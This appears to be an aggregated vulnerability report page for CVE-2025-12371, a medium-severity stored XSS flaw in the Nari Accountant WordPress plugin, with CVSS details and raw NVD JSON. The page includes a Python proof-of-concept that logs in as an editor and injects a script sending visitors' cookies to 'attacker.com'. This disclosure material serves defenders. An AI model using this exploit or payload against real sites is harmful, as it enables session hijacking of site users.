Security Vulnerability Report
中文
CVE-2025-12371 CVSS 4.4 MEDIUM

CVE-2025-12371

Published: 2025-11-04 05:16:12
Last Modified: 2026-04-15 00:35:42

Description

The Nari Accountant plugin for WordPress is vulnerable to Stored Cross-Site Scripting via account settings in all versions up to, and including, 1.0.12 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with editor-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Nari Accountant插件 for WordPress <= 1.0.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from bs4 import BeautifulSoup # CVE-2025-12371 PoC - Stored XSS in Nari Accountant Plugin # Target: WordPress with Nari Accountant Plugin <= 1.0.12 # Requirements: Editor-level or higher privileges TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_username" PASSWORD = "attacker_password" def get_nonce(login_html): """Extract WordPress nonce from login form""" soup = BeautifulSoup(login_html, 'html.parser') nonce_input = soup.find('input', {'name': '_wpnonce'}) return nonce_input['value'] if nonce_input else None def login(): """Authenticate to WordPress admin panel""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" # Get login page to extract nonce resp = session.get(login_url) nonce = get_nonce(resp.text) # Login credentials data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/", 'testcookie': '1', '_wpnonce': nonce } resp = session.post(login_url, data=data) return session if 'wordpress_logged_in' in str(session.cookies) else None def inject_xss(session): """Inject malicious XSS payload into account settings""" # Target settings page (path may vary) settings_url = f"{TARGET_URL}/wp-admin/admin.php?page=nari-accountant-settings" # Get settings page resp = session.get(settings_url) # XSS payload xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # Submit settings with XSS payload data = { 'account_name': xss_payload, 'account_email': '[email protected]', 'save_settings': '1' } resp = session.post(settings_url, data=data) return 'success' in resp.text.lower() def main(): print("[*] CVE-2025-12371 PoC - Nari Accountant Stored XSS") print("[*] Target:", TARGET_URL) # Authenticate session = login() if not session: print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") # Inject XSS if inject_xss(session): print("[+] XSS payload injected successfully") print("[+] Payload will execute when settings page is accessed") else: print("[-] Injection failed") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12371", "sourceIdentifier": "[email protected]", "published": "2025-11-04T05:16:11.590", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Nari Accountant plugin for WordPress is vulnerable to Stored Cross-Site Scripting via account settings in all versions up to, and including, 1.0.12 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with editor-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.org/plugins/nari-accountant/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c0a5e6b9-4da1-4d95-9fb1-aabb0d21b695?source=cve", "source": "[email protected]"}]}}